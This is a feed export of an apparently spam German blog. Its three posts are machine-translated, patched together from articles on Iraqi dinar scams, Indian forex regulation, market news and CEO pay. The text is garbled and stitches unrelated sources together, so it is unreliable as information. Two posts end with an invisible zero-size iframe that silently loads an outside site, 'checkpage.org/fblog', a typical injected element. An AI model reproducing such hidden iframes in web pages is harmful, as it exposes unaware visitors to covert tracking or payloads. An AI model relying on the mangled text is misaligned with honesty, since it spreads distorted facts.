tag:blogger.com,1999:blog-72514565841889185772024-03-08T14:42:08.417-08:00Kaufen Sie Billig Bergen (Lower Saxony)Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.comBlogger220125tag:blogger.com,1999:blog-7251456584188918577.post-8833535167839939932017-08-26T17:35:00.000-07:002017-08-26T17:35:04.639-07:00Forex Irakischen Dinar Zu Uns Dollar<p>Ist die irakische Dinar Investition eine kluge Investition Was bedeutet es, in den irakischen Dinar investieren In einfachen Worten, die in der gleichen Weise wie jede Währung Investitionen durchgeführt. Sie kaufen x irakischen Dinar (IQD), indem Sie y US Dollar (oder Ihre Domizilwährung) bezahlen. Wie beim Kauf von Aktien, Anleihen oder anderen Währungen, kaufen Sie Dinar zu einem bestimmten Preis und dann erwarten, dass der Preis steigen. Die eigentliche Frage, aber ist nicht nur können Sie in dieser bestimmten Währung zu investieren, sondern sollten Sie investieren. (Check out Investopedias große Auswahl an Forex-Tutorials.) Gibt es die Möglichkeit, einen Betrug in einer solchen Anlage Schema Financial Scams haben in der Regel bestimmte Merkmale. Ein paar Tip-offs sind: Wenn das Schema wird ausgeführt und gefördert von einzelnen Agenten statt bekannter Unternehmen Wenn es schwer inoffizielle Promotions durch internetemailstelemarketing Anrufe statt offenen und fairen Marketing Wenn Transaktionen auftreten, vor allem durch Straße-basierte Händler. Hohe Schwankungen der verfügbaren Raten und hohe Markup-Gebühren noch Versprechen von übermäßig übertriebenen Renditen. Im Falle des irakischen Dinar-Investitionssystems könnte es zusätzliche rote Fahnen geben: Reputed Banken (zB Wells Fargo), die das Angebot des Devisenhandels in irakischen Dinaren enthielten Staaten wie Utah, die Warnungen vor solchen Anlagen ausgeben Sehr breite Bid-Ask-Spreads und unpraktische Argumentation Diskutiert unten) rechtfertigen den irakischen Dinar als eine perfekt sichere und sicher erschossen High-Return-Investment-System. All diese Faktoren führen zu weiteren Zweifeln (siehe Investopedias Tutorial auf Investment Scams.). Die Grundlagen der Forex First, heres eine sehr rudimentäre Erklärung, was es bedeutet, in einer Währung zu investieren. Zum Beispiel, sagen wir, die irakische Dinar Forex-Rate ist 1 US 1160 IQD (wie es der Fall, etwa, im August 2014). Wenn Sie US1000 in irakischen Dinaren mit dieser Rate investieren, erhalten Sie IQD 1,16 Millionen. Nach dieser Investition, werden Sie warten und beobachten, erwartet, dass die IQD gegen die USA steigen. Wenn Ihre Erwartungen in Erfüllung gehen und sich der Wechselkurs auf einen hypothetischen Wert - sagen wir 1 USD 1 IQD - erhöht, dann ist Ihre Investition nunmehr US 1,16 Mio. wert. Unter dieser Hypothese würde der Investor ein Millionär werden, indem er US1000 investierte, die auf US1.16 Million wuchs. Aber was passiert, wenn der Dinar nimmt die entgegengesetzte Richtung Say it verschlechtert sich auf 1 US 2000 IQD. Jetzt ist Ihr investiertes Holding von IQD1.16 Million nur wert US580. Effektiv haben Sie 420 auf Ihre Investition verloren. Die große Frage, ist der irakische Dinar Investition ein hyped Betrug oder kann irgendeine Profitabilität erreicht werden Erstens können wir mit den positiven beginnen: Obwohl spekulative Gedanken über irakische Dinar Investitionen haben sich für eine lange Zeit, gab es Entwicklungen auf der Grundlage von Berichten, die geführt Um Spekulationen im IQD-US-Handel zu spicken (wie etwa die Erklärung des IWF um die Hälfte des Jahres 2007, in der Zeit nach der Saddam-Hussein-Ära). Es erwähnte den Internationalen Vertrag mit Irak, der auf vielfältige Weise interpretiert wurde und zu weiteren Spekulationen im irakischen Dinar-Devisenhandel führte. (Irakische Behörden) haben einige mutige Maßnahmen ergriffen, darunter die schrittweise Erhöhung der heimischen Treibstoffpreise und ab 2007 die Beseitigung aller direkten Haushaltszuschüsse, mit Ausnahme von Kerosin. Der Irak hat auch ein ehrgeiziges Strukturreformprogramm eingeleitet, um den Übergang zu einer marktwirtschaftlicheren Wirtschaft zu ermöglichen. In dem Artikel heißt es weiter: Um die Inflation zu bekämpfen, wurde an drei Fronten eine Aktion eingeleitet. Zuerst erhöhte die Zentralbank des Irak ihre Politikzinsen stark und erlaubte eine allmähliche Anerkennung des Dinars. Diese Maßnahmen zielten darauf ab, die Wirtschaft zu de-Dollarisieren, um die Zentralbanken in die Lage zu versetzen, die monetären Bedingungen zu kontrollieren und die importierte Inflation zu senken. Davor war der IQD-USD-Kurs um 1270 (April 2007) und ab August 2014 um rund 1160 eine positive Rendite von rund 8,5. Seither wurden keine großen signifikanten Preisbewegungen beobachtet. Weitergehende Trends werden von der aktuellen und zukünftigen Entwicklung in der Region abhängen. Aktuelle Situation amp Zukunftsperspektiven des Irak: Bürgerkrieg, regionale Kämpfe und westliche Länder, die wegbleiben, sind Hauptanliegen des Irak, mit der extremen Möglichkeit, dass sich das Land in drei Regionen verteilt. Wenn das passiert, kann der Zahltag auch nie für Investoren mit irakischen Dinar kommen und warten auf Wertschätzung. Unterstützt durch die Ölreserven. Der Irak hat das Potenzial, zurück zu springen und sich als eine stabile Wirtschaft zu etablieren. Das gelang ihm nach dem achtjährigen Iran-Irak-Krieg. Aber das braucht eine friedliche, vielversprechende Geschäftsatmosphäre, um das Vertrauen der Investoren zu etablieren, was wiederum dazu beitragen wird, seine Wirtschaft wiederzubeleben und die IQD-Devisenkurse auf realistische Ebenen zurückzuführen. Jetzt auf die andere Seite der Münze: Es gibt Gründe, die auf irakische Dinar Investitionen ein hyped Betrug, der wichtigste Faktor ist IQD buchstäblich Handel im Forex Black Market statt der regulären Banken und Trading-Tische. Darüber hinaus sind die folgenden falschen Aussagen stark von den Verfechtern der irakischen dinar Investment-Systeme veröffentlicht: IQD ist stark unterbewertet und wird deutlich gegen USD in mittel-bis langfristig aufgrund einer bevorstehenden Neubewertung gebunden, um bald passieren Supporters of Iraqi dinar Es wird berichtet, dass die Investitionen die beiden ökonomischen Bedingungen verwechseln - Neubewertung vs. Redenomination. Bei der Neubewertung handelt es sich um die tatsächlich berechnete Anpassung an einen offiziellen Wechselkurs eines Landes gegenüber einer gewählten Baseline (Gold oder USD). Eine Neubewertung führt dazu, dass diese Währung um den Faktor der Anpassung in die Basiswährung kostspielig wird und somit die Kaufkraft dieser Währung ändert. Die Redenomination erfolgt bei hohen Inflationsniveaus durch alte High-Value-Noten, die mit neuen Small Value Notes (1000 Old dinars 1 New dinar) gleichgesetzt werden. Es fällt einfach weg von den Nullen, die die Kaufkraft die selben wie vorher halten. Es gibt bestätigte Nachrichten, dass der Irak planen, seine Währung neu zu beurteilen, aber nicht neu zu bewerten. In Ermangelung einer Neubewertung, wird es keine Änderung in der Devisen-Wechselkurs der Irak Dinar IQD (mit oder ohne Umstellung). Wirtschaftswissenschaftler weisen auch darauf hin, dass es für die irakische Wirtschaft nicht vorteilhaft wäre, eine solche Wertschätzung durch die Behörden (auch durch Neubewertung) zuzulassen. Dies führt zu mehrfachen Problemen für den Irak: Die Unfähigkeit, die Staatsschulden aufgrund von revidierten Bewertungen zurückzuzahlen Wörtlich: Barrikaden für ausländische Unternehmen in den Irak für Unternehmen einzubringen Gesamtbeschränktes Wachstum in der Nachkriegsära aufgrund von Welligkeitseffekten von über 2 Jahren. Ähnliche Aufwertung Der kuwaitischen Dinar ist ein historischer Beweis Einige versuchen, Investitionen im irakischen Dinar zu fördern, basierend auf dem Erfolgsfall der Aufwertung des kuwaitischen Dinars (KWD), der heute eine hoch bewertete Währung ist. Dies ist jedoch irreführend. Während die offizielle kuwaitische Regierung eine neue Ausgabe von Notizen nach der irakischen Invasion erwähnt, gab es keine Neubewertung. Das neue Release sollte die Verwendung von gestohlenen und geplünderten alten Kuwait-Dinaren verhindern. Im kuwaitischen Beispiel wurden die Devisenkurse vor dem Krieg beibehalten, indem die Banknoten einfach gewechselt wurden. Es ist auch unpraktisch - und ökonomisch unmöglich -, eine Währung so aufzuwerten, daß ihr Wert vielfach ansteigt, ohne daß es eine reale Ergänzung der Reserven gibt. 3. Die Nachkriegsentwicklung kann zwar Zeit nehmen, gibt aber immer gute Ergebnisse Beispiele für europäische Länder wie die Niederlande, Großbritannien usw. sind in diesem Fall zitiert, um eine irakische Dollar-Investition zu rechtfertigen. Diese anderen Länder schafften es, ein rasches Comeback aus den Auswirkungen des Zweiten Weltkrieges zu machen und gelten heute als unter den entwickelten Ländern. Eine wichtige Tatsache, die hier verpasst wird, ist, dass diese Länder schneller vorankommen konnten, weil die Kriegssituation völlig anders war als der Irakkrieg. Es war dann ein Fall des Weltkrieges, in dem die betreffenden europäischen Länder auf der Siegesseite waren und in der Nachkriegszeit eine maximale Unterstützung erhielten. Der Fall des Irak dagegen ist eher ein Bürgerkrieg, wo es eine Möglichkeit gibt, dass das Land in mehrere Fragmente aufgeteilt wird. Selbst wenn es als eine Nation bleibt, wird es noch lange dauern, bis sich die Wirtschaft erholt. 4. Executive Order 13303 gibt Amerikanern besondere gesetzliche Rechte zu halten oder zu investieren in irakischen Dinar Auftrag 13303 ist für den Schutz des Entwicklungsfonds für den Irak, irakische Ölprodukte und Interessen einschließlich Eigentum von US-Personen aus allen rechtlichen Anlagen oder Pfandrechte. Es gibt keine Rechte oder Schutz für Investitionen in irakischen Dinar, überhaupt von jedermann. 5. Der irakische Dinar ist immer noch ein guter Kauf, auch ohne Neubewertung Dies basiert auf dem starken Glauben einiger Investoren, dass die Irak-Ölreserven und das Entwicklungspotenzial den Dinar zu einem guten Kauf machen. Einige Investoren argumentieren, dass der Markt eine starke Anerkennung für den irakischen Dinar in der Nachkriegszeit antreiben könnte, nur weil die riesigen Ölreserven letztendlich zu einer starken Währung werden. Ähnlich dem irakischen Dinar werden ähnliche Gerüchte für vietnamesische Dong und, zuletzt, das ägyptische Pfund berichtet. Kann eine kurzfristige Hochfrequenz-Händler profitieren von IQD-USD Forex Trading Möglicherweise ja, aber praktisch Nr. Der Grund ist, dass der IQD-US-Devisenhandel Markt ist praktisch nicht vorhanden. Keine Banken bieten Irak Dinare. Wenn Sie irakische Dinare kaufen müssen, können Sie diese nur bei ausgewählten Geldaustauschern kaufen, die möglicherweise rechtlich registriert sind oder nicht. Zweitens, sie verlangen eine heftige Markup-Gebühr, um die Melodie von bis zu 20, für solche Transaktionen. Dies wird das Gewinnpotenzial auch für den kurzfristigen Handel erodieren. Dies kann eine gute Wette für eine langfristige Investition sein Forex-Handel im Allgemeinen kommt mit ein paar Herausforderungen: Überbewertetes Gewinnpotential auf Anleger Missverständnisse basiert. Die irreführenden Praktiken der Devisenhändler als Forex ist in erster Linie ein OTC-Markt. Weitere Komplikationen und Fehlverhalten bestehen im Handel mit solchen illiquiden und unregulierten Anlageklassen. Investoren grundlegende Ignoranz über internationale Forex-Bewertungen Verlust-Abneigung Investoren halten auf Verlust-Vermögenswerte weiter verschlechtert die Bewertung ihrer Investitionen Wie der Irak, seine Wirtschaft und damit die Forex-Rate auf lange Sicht zu entwickeln, wird eine langfristige ungewisse Wette sein. Die Bottom Line: Trading Forex-Währungen ist immer riskant, da externe Faktoren auf internationaler Ebene schwer zu kontrollieren oder vorherzusagen sind. Sofern Sie nicht an geregelten Märkten oder über regulierte Agenten handeln, sollten Händler und Investoren äußerst vorsichtig handeln, um solche Währungen zu handeln. Weltweit vertrauenswürdige Währungsbehörde Nordamerikanische Ausgabe Der Dollar handelte weicher, blieb aber komfortabel über der Post-Trump-Pressekonferenz hinweg. USD-JPY ist in den oberen 114s geglitten, nachdem er die Gewinne über 115.00 nicht erlitten hat, aber über einer großen Zahl oben auf dem gestrigen einmonatigen Tief an bleibt. Lesen Sie weiter X25B6 2017-01-13 12:08 UTC Europäische Ausgabe Der Dollar ist weicher Handel in den Londoner öffnen, bleibt aber bequem über die Post-Trump Pressekonferenz Tiefs. USD-JPY ist in den oberen 114s geglitten, nachdem er die Gewinne über 115.00 nicht beibehalten konnte, aber über eine große Zahl oben auf gestern bleibt. Lesen Sie weiter X25B6 2017-01-13 07:40 UTC Asian Edition FX Handel war relativ ruhig in N. Y. am Freitag, obwohl der Dollar leicht perk bis marginal, so dass der USD-Index bei 101,30 in den Schluss. Anständige Einzelhandelsumsätze und Inline-PPI-Daten halfen der USD-Stimmung, allerdings vor einem langen U. S.-Wochenende, der Rallye. Lesen Sie weiter X25B6 2017-01-13 19:15 UTCDie Weltvertrauenswürdige Währung Behörde North American Edition Der Dollar gehandelt weicher, ist aber komfortabel über die Post-Trump Pressekonferenz Tiefs geblieben. USD-JPY ist in den oberen 114s geglitten, nachdem er die Gewinne über 115.00 nicht erlitten hat, aber über einer großen Zahl oben auf dem gestrigen einmonatigen Tief an bleibt. Lesen Sie weiter X25B6 2017-01-13 12:08 UTC Europäische Ausgabe Der Dollar ist weicher Handel in den Londoner öffnen, bleibt aber bequem über die Post-Trump Pressekonferenz Tiefs. USD-JPY ist in den oberen 114s geglitten, nachdem er die Gewinne über 115.00 nicht beibehalten konnte, aber über eine große Zahl oben auf gestern bleibt. Lesen Sie weiter X25B6 2017-01-13 07:40 UTC Asian Edition FX Handel war relativ ruhig in N. Y. am Freitag, obwohl der Dollar leicht perk bis marginal, so dass der USD-Index bei 101,30 in den Schluss. Anständige Einzelhandelsumsätze und Inline-PPI-Daten halfen der USD-Stimmung, allerdings vor einem langen U. S.-Wochenende, der Rallye. Weiterlesen X25B6 2017-01-13 19:15 UTC</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-32159536255363275772017-08-25T20:10:00.000-07:002017-08-25T20:10:00.739-07:00Forex Sx<p>VEGAS MOST TRUSTED NIGHTLIFE UNTERNEHMEN Las Vegas ist eines der weltweit führenden Nachtleben-Destinationen, aber lass es zu - es scheint, als ob man mehr Zeit hinter dem Samt-Seil verbracht hat, als auf die Tanzfläche zu schlagen. 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Nehmen Sie den richtigen Weg zum Handel in Forex Mit vielen Risiken in der überseeischen Devisenhandel beteiligt sind, ansässige Inder, die von Forex-Bewegungen profitieren möchten, sollten den Handel an der Börse gehandelte Devisen-Derivate in das Land. Die Einführung von Währungsderivaten auf regulierten Börsen seit vier Jahren eröffnet eine neue Anlageklasse für Inder. Aber jenseits des landespolitischen Rahmens scheint auch ein internetbasierter ausländischer Devisenhandelsmarkt blühend zu sein. Es bietet mehr Auswahl und größere Wetten. Allerdings ist der Handel auf sie illegal für Indianer und trägt hohe Risiken. Verletzung des Rechts Internet-Portale bieten Devisenhandel scheinen allgegenwärtig in diesen Tagen. Sie werben weit verbreitet 8212 vor allem auf einer Vielzahl von Websites 8212 locken Kunden mit schnellen Renditen und großem Geld. Auf einigen Portalen verkündigen lächelnde Gesichter, wie leicht sie mehrere hundert Dollar in einer Angelegenheit von Tagen gemacht haben und laden andere ein, sich ihnen anzuschließen. Auf anderen scheinen erfolgreicher Einzelpersonen die Vorteile des Devisenhandels zu preisen und zu sagen, wie es ihnen half, zusätzliches Einkommen zu verdienen. Don8217t fallen für die Marketing-Spiel. Nicht nur Sie laufen Gefahr, Ihr Geld zu verlieren, aber Sie finden sich auf der falschen Seite des Gesetzes. Die Reserve-Bank von Indien (RBI) hat, mehr als einmal Gelegenheit, gegen ausländischen Devisenhandel durch Internet-Handelsportale gewarnt. Sie hat im Februar letzten Jahres eine Beratung abgegeben und anschließend im April 2011 und November 2011 zwei Benachrichtigungen 8212 (siehe untenstehende Links) mitgeteilt. Das RBI hat beobachtet, dass 8220overseas Devisenhandel auf einer Anzahl von Internetelectronic Handelsportalen eingeführt wurde, die die Bewohner mit Angeboten von garantierten hohen Renditen auf der Grundlage dieses Devisenhandels8221 lockten. Es wird klargestellt, dass eine Person, die in Indien ansässig ist und die Abwicklung solcher Zahlungen direkt indirekt außerhalb von Indien verweigert, gegen die Verletzung des Devisenmanagementsgesetzes (FEMA) 1999 verstoßen würde, abgesehen davon, dass sie für die Verletzung von Vorschriften in Bezug auf Know Your Customer verantwortlich ist (KYC) NormenAnti Geldwäsche (AML) standards.8221 Die Botschaft ist klar. Überweisungen für solche Geschäfte sind nach dem Gesetz nicht zulässig. Gegen indische Einwohner, die diese Zahlungen erheben und einreichen, können Klagen erhoben werden. Forex-Markt-Experten stimmen über den rechtlichen Aspekt. Sagt Anil Bhansali, Vizepräsident, Mecklai Finanzdienstleistungen, 8220As pro FEMA, alle diese Gewerke sind illegaler Handel. Marginsammlung für solche Onlineportale ist auch ein Verstoß gegen FEMA8221. Anindya Banerjee, Senior Manager, Kotak Securities, erklärt, 8220Die RBI erlaubt nicht die Verwendung von Devisen für Leverage-Handel. Im Allgemeinen bieten die Forex-Portale eine Hebelwirkung von 8216x8217 Mal an, daher verletzen sie die Richtlinien des RBI.8221 Unternehmen, die Online-Handel in Währungen anbieten, befinden sich meist außerhalb des Landes, oft in Steueroasen wie Zypern. Sie haben keine Adressen und Kontakt-Nummern in Indien, obwohl sie können Agenten zu liaise ernennen und Kunden in ihrem Namen zu ernennen. Als solche können diese Unternehmen außerhalb der Reichweite der Regulierungsbehörde liegen. Aber indische Einwohner, die in solche Gewerkschaften und Körperschaften wie Agenten, Banken und Kreditkarten-Unternehmen, die sie erleichtern würde zu regulatorischen Maßnahmen zu bekommen. Laut Vikram Murarka, Chief Währung Strategist, Kshitij Consultancy Services, 8220Legally, die Unternehmen sind frei, Online-Handel bieten, da sie nicht verantwortlich für die RBI sind. Die RBI-Beschränkungen gelten für die ansässigen indischen Staatsangehörigen. Also, rechtlich sind sie diejenigen, die vom Online-Handel abzurufen sind.8221 Andere Risiken Während Daten über wie viel Handelsvolumen an Internet-Handelsportale mit dem Devisenhandel gehandelt werden, sind nicht verfügbar, scheint der Trend an gefangen zu sein. Wie die RBI beobachtet hat, sind viele indische Einwohner Opfer von verlockenden Angeboten geworden und haben viel Geld verloren. Angespornt durch die Verlockung der hübschen Rendite, die sehr hohe Leverage angeboten (Wetten so hoch wie 400 Mal oder mehr am Rand erlaubt), und mehrere Währungspaare zu handeln (viele Unternehmen bieten so viele wie 52 Paare), eine Menge von Händlern Scheinen ihr Glück in der überseeischen Devisenmarkt getestet haben, nicht immer mit guten Ergebnissen. Die Risiken ergeben sich aus vielen Quellen. Der globale Währungsmarkt ist wohl der größte und zu den raffiniertesten der Welt. Leichtgläubige Investoren ohne das notwendige Know-how und getragen von ihrem 8216success8217 in 8216demo8217 Trades können leicht verbrennen ihre Finger in das reale Spiel. Darüber hinaus kann der ausländische Devisenhandel, der durch Internetportale angeboten wird, in der Natur von 8216contracts für different8217 (CFD) sein, eine andere Art von Derivatprodukt, das viele Händler möglicherweise nicht kennen. Der hohe Hebel wirkt auch ein zweischneidiges Schwert. Während es das Potential hat, Gewinne zu vermehren, vergrößert es Verluste. Es gibt auch das Umwandlungsrisiko und die Kosten und die Provisionsabgabe, die indische Einwohner bei der Umwandlung von Rupien in Fremdwährung und umgekehrt entstehen. Schließlich gibt es das Gegenparteirisiko für den indischen Händler 8212 die Gefahr, dass die Partei am anderen Ende ihre Verpflichtung nicht ehren kann. Die meisten Unternehmen, die Devisenhandelsgeschäfte in Übersee anbieten, führen ihre Geschäfte nicht an regulierten Börsen durch, bei denen eine Gewerbesiedlung garantiert ist, sondern im riskanteren OTC-Markt. Nach Vikram Murarka, 8220Such Unternehmen in der Regel nicht ausführen die Trades an den Börsen. Sie fast immer im OTC-Markt tätig.8221 Unternehmen, die im Ausland Devisenhandel in Indien anbieten, sind außerhalb des Zuständigkeitsbereichs der country8217s Vorschriften. Indische Einwohner, die sich kurzfristig ändern, können wenig oder gar keine Rücksicht nehmen, um ihre Beschwerden anzusprechen. Abhilfemaßnahmen, auch wenn verfügbar, könnten teuer zu implementieren und ein langwieriger Prozess sein. Die Grundlinie. Angesichts der rechtlichen und operativen Risiken, die mit dem Devisenhandel im Ausland einhergehen, sollten gebietsansässige Inder, die über das Know-how verfügen und von Devisenbewegungen profitieren möchten, an den börsengehandelten Währungsderivaten im Land handeln. Die Rechtswahl Der von der RBI und SEBI im Jahr 2008 zugelassene Handel mit Währungsderivaten an anerkannten Börsen hat sich sowohl in Bezug auf Produktangebot als auch nach Volumen ausgeweitet. Derzeit unterstützen drei Börsen 8212 NSE, MCX-SX und die United Stock Exchange (USE) 8212 diese Trades. Das erste Produkt, das eingeführt werden sollte, war Währungs-Futures auf dem US-Dollar 8211Indian Rupee Paar. Futures - Handel in der Rupie gegenüber drei weiteren wichtigen Währungen 8212 Euro, Britisches Pfund und Japanisches Yen 8212 folgten. Im Jahr 2010, als Währungsoptionen auf dem USD-INR Paar zugelassen wurden, führten die NSE und USE das Produkt ein. Nach einer langen regulatorischen Schlacht startete MCX-SX im August 2012 auch USD-INR Devisenoptionen. Die Devisenterminkontrakte haben einen Zeitraum von 12 Kalendermonaten und Währungsoptionen haben einen Drei-Kalendermonat-Zyklus. So, heute, Devisenhändler in Indien haben einen breiteren Korb zur Auswahl. An drei Börsen können sie Futures und Optionen auf vier Hauptwährungen gegenüber der Rupie handeln. Handelsabwicklung wird durch den Austausch gewährleistet. Alle Verträge werden ohne physische Kontrakte abgewickelt. Der Großteil der Geschäfte geschieht auf der NSE und MCX-SX mit Liquidität vor kurzem auf die USE nach regulatorischer Prüfung fallen. Die Mehrheit der Geschäfte geschieht im USD-INR-Paar. Bessere Liquidität, mehr Währungspaare und die Besorgnis über die Kostenstruktur könnten dazu beitragen, mehr Händler im Devisenhandelswährungsderivatmarkt zu gewinnen. Links zu RBI-Kommunikation: (Dieser Artikel wurde am 25. August 2012 veröffentlicht) Holen Sie sich mehr von Ihren Lieblings-Nachrichten an Ihren Posteingang geliefert Warum RBI nicht zulassen, als unser eigenes Geld, das wir investieren. Es gibt viele Menschen, die auch verlieren Geld in Aktienmärkte. So Govt macht Geld in den Aktienmärkten. Govt kann nicht Geld verdienen, wenn sie Forex-Handel in Indien ermöglichen. Es gibt viele Dinge in Indien für die Aufhebung der Wirtschaft zu tun, ist Indien immer aus dem Spiel in allen Kreisen. Geschrieben am: 29. August 2012 um 01:29 Uhr IST 013 Dieser Artikel ist für Kommentare geschlossen. Bitte schicken Sie mir eine E-Mail an den Redakteur</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-77926340506316425002017-08-25T05:55:00.000-07:002017-08-25T05:55:02.258-07:00Aktienoptionen 2014<p>Die Gold-Futures verzeichneten in den vergangenen sechs Wochen eine sehr hohe Kursrendite. Vor 4 min 2:32 am Jan. 10, 2017 Der Niedergang der langjährigen Bullenmarkt in Anleihen hat in letzter Zeit in den Köpfen der Investoren geraten. Bill Gross erklärt, warum die 10-jährige Treasury-Rendite der Schlüssel für Aktien und andere Finanzmärkte ist. Vor 11 min 2:24 am 10. Januar 2017 Die großen US-Aktienmarkt-Benchmarks am Dienstag Handel in der Nähe von Aufzeichnungen aber die Dow-Industrie auf die psychologisch signifikanten Ebene von 20.000 verliert Dampf. Vor 18 min 2:18 am 10. Januar 2017 Stocks Mai haben, um weiter zu laufen in der ersten Hälfte von 2017, aber Stiere laufen die Gefahr des Erhaltens versengten über dem längerfristigen warnt Bank von Amerika Merrill Lynch. Vor 21 min 14:15 am 10. Januar 2017 Die US Energy Information Administration am Dienstag warnt davor, dass die fast zweijährige Streik der Gesamtrückgänge in der US-Ölproduktion vorbei sein könnte, die Prognose für die Produktion für dieses Jahr und die Prognose eines Jahres - on-Jahres-Output-Aufstieg für 2018. Vor 52 min 13:43 Jan. 10, 2017 Copyright copyright 2017 MarketWatch, Inc. Alle Rechte vorbehalten. Durch die Nutzung dieser Website erklären Sie sich mit den Nutzungsbedingungen einverstanden. Datenschutzbestimmungen und Cookies. Intraday Daten zur Verfügung gestellt von SIX Financial Information und vorbehaltlich Nutzungsbedingungen. Historische und aktuelle Tagesenddaten von SIX Financial Information. Intraday-Daten verzögert pro Umtauschbedarf. SPDow Jones Indizes (SM) von Dow Jones Company, Inc. Alle Angebote sind in der Zeit vor Ort. Echtzeit letzte Verkaufsdaten von NASDAQ zur Verfügung gestellt. Mehr Informationen über NASDAQ gehandelte Symbole und ihre aktuelle finanzielle Situation. Intraday-Daten verzögert 15 Minuten für Nasdaq, und 20 Minuten für andere Börsen. SPDow Jones Indizes (SM) von Dow Jones Company, Inc. SEHK Intraday-Daten werden von SIX Financial Information zur Verfügung gestellt und sind mindestens 60-Minuten verzögert. Alle Anführungszeichen sind in der lokalen Austauschzeit. MarketWatch Top StoriesTop CEOs machen 300 Mal mehr als typische Arbeiter. Lohnwachstum übertrifft Aktiengewinne und Lohnwachstum von Top 0,1 Prozent Die Chief Executive Officers von Americas größten Unternehmen verdienen dreimal mehr als sie vor 20 Jahren und mindestens 10 Mal mehr als 30 Jahren, große Gewinne sogar im Vergleich zu anderen sehr hoch - Lohnempfänger. Diese außerordentlichen Lohnerhöhungen haben Spillover-Effekte bei der Verringerung des Lohnes von anderen Führungskräften und Führungskräften, die eine größere Gruppe von Arbeitnehmern bilden, als dies allgemein anerkannt ist, aufwiesen.1 Infolgedessen war das Wachstum des CEO und der Gesamtvergütung insgesamt ein wichtiger Faktor für die Verdopplung Die Gewinnanteile der Top 1 Prozent und die Top 0,1 Prozent der US-Haushalte von 1979 bis 2007 (Bivens und Mishel 2013 Bakija, Cole und Heim 2012). Seither ist das Einkommenswachstum unausgewogen: Da die Gewinne Rekordhöhen erreicht haben und der Aktienmarkt boomt, sind die Löhne der meisten Arbeitnehmer, die während der letzten Dutzend Jahre stagniert haben, auch während der vorherigen Erholung zurückgegangen (Bivens et al 2014 Gould 2015). Bei der Prüfung Trends in CEO Entschädigung zu bestimmen, wie gut die Top-1 und 0,1 Prozent sind bis 2014 vergütet, findet dieses Papier: Die durchschnittliche CEO Entschädigung für die größten Unternehmen war 16,3 Millionen im Jahr 2014. Diese Schätzung nutzt eine umfassende Messung der CEO Pay, Führungskräfte der Top 350 US-Firmen und beinhaltet den Wert der Aktienoptionen, die in einem bestimmten Jahr ausgeübt werden. Die Entschädigung ist um 3,9 Prozent seit 2013 und 54,3 Prozent seit der Erholung im Jahr 2009 begonnen. Von 1978 bis 2014 erhöhte sich die inflationsbereinigte CEO-Entschädigung um 997 Prozent, ein fast doppeltes Börsenwachstum und deutlich mehr als das schmerzhaft langsam wachsende Wachstum von 10,9 Prozent Typische Arbeiter jährliche Entschädigung für den gleichen Zeitraum. Die Entschädigungsquote von CEO-zu-Arbeitnehmer im Jahr 1965 lag im Jahr 2000 bei 376 bis 1 und lag im Jahr 2014 bei 303 zu 1, weit höher als in den 60er, 70er, 80er und 90er Jahren. Bei der Prüfung der CEO-Entschädigung im Vergleich zu den anderen Hochverdienerinnen und - empfängern finden wir: In den letzten drei Jahrzehnten wuchs die Entschädigung für CEOs weit schneller als die anderer hochbezahlter Arbeitnehmer, d. H. Jene, die mehr als 99,9 Prozent der Lohnempfänger verdienten. Die CEO-Entschädigung im Jahr 2013 (das letzte Jahr für Daten über die oberen Lohnempfänger) war 5,84 mal größer als die Löhne der oberen 0,1 Prozent der Lohnempfänger, ein Verhältnis 2,66 Punkte höher als die 3,18 Ratio, die über den Zeitraum 19471979 herrschte. Dieser Lohngewinn allein entspricht den Löhnen von 2,66 sehr hohen Lohnempfängern. Auch in den letzten drei Jahrzehnten erhöhte sich die Vergütung des CEO mehr im Verhältnis zum Lohn anderer sehr hochverdienender Arbeitnehmer als die Löhne von Hochschulabsolventen stiegen im Vergleich zu den Löhnen von Abiturienten. Das CEO-Pay wuchs weit schneller als die Bezahlung der Top 0,1 Prozent der Lohnempfänger zeigt, dass CEO Ausgleich Wachstum nicht einfach reflektieren den höheren Wert der hoch bezahlte Profis in einem wettbewerbsfähigen Rennen um Fähigkeiten (der Markt für Talente), sondern spiegelt die Präsenz Der beträchtlichen Mieten, die in den leitenden Lohn eingebettet sind (dh CEO-Lohn nicht reflektieren höhere Produktivität der Führungskräfte, sondern eher die Macht der CEOs, Zugeständnisse zu extrahieren). Dementsprechend gäbe es keine nachteiligen Auswirkungen auf die Produktion oder die Beschäftigung, wenn CEOs weniger verdient hätten oder mehr besteuert würden. Kritiker der Prüfung dieser Trends deuten darauf hin, auf der Bezahlung des durchschnittlichen CEO, nicht CEOs der größten Unternehmen. Allerdings ist die durchschnittliche Firma sehr klein, beschäftigt nur 20 Arbeiter und stellt keinen nützlichen Vergleich mit der Bezahlung eines typischen Arbeiters dar, der in einer Firma mit ungefähr 1.000 Beschäftigten arbeitet. Die Hälfte (52 Prozent) der Beschäftigung und 58 Prozent der gesamten Lohnsumme sind in Firmen mit mehr als 500 oder mehr Beschäftigten. Unternehmen mit mindestens 10.000 Beschäftigten stellen 27,9 Prozent aller Beschäftigten und 31,4 Prozent aller Gehaltsabrechnungen zur Verfügung. CEO-Vergütungstendenzen Tabelle 1 zeigt die Entwicklung der CEO-Vergütung von 1965 bis 2014.2 Die Daten messen die Vergütung von CEOs in den größten Betrieben und beinhalten Aktienoptionen, je nachdem, wieviel der CEO in diesem Jahr durch Ausübung von Aktienoptionen realisiert hat. Die Optionen-realisierte Maßnahme spiegelt, was CEOs als ihre Form W-2 Löhne für Steuerberichterstattung berichten und ist, was sie tatsächlich in einem bestimmten Jahr verdient. Dies ist die am stärksten von Wirtschaftswissenschaftlern angewandte Maßnahme.3 Die Vergütung umfasst neben den Aktienoptionen auch Gehälter, Boni, Restricted Stock Grants und Long Term Incentive Auszahlungen. Vollständige methodische Details für den Bau dieses CEO Vergütung Maßnahme und Benchmarking für andere Studien finden sich in Mishel und Sabadish (2013). CEO-Entschädigung, CEO-to-worker Entschädigung Verhältnis und Aktienkurse, 19652014 (2014 Dollar) CEO jährliche Vergütung wird unter Verwendung der Optionen realisiert Entschädigung Reihe, die Gehalt, Bonus, beschränkte Aktien Zuwendungen, Optionen ausgeübt und langfristige Anreiz enthält berechnet 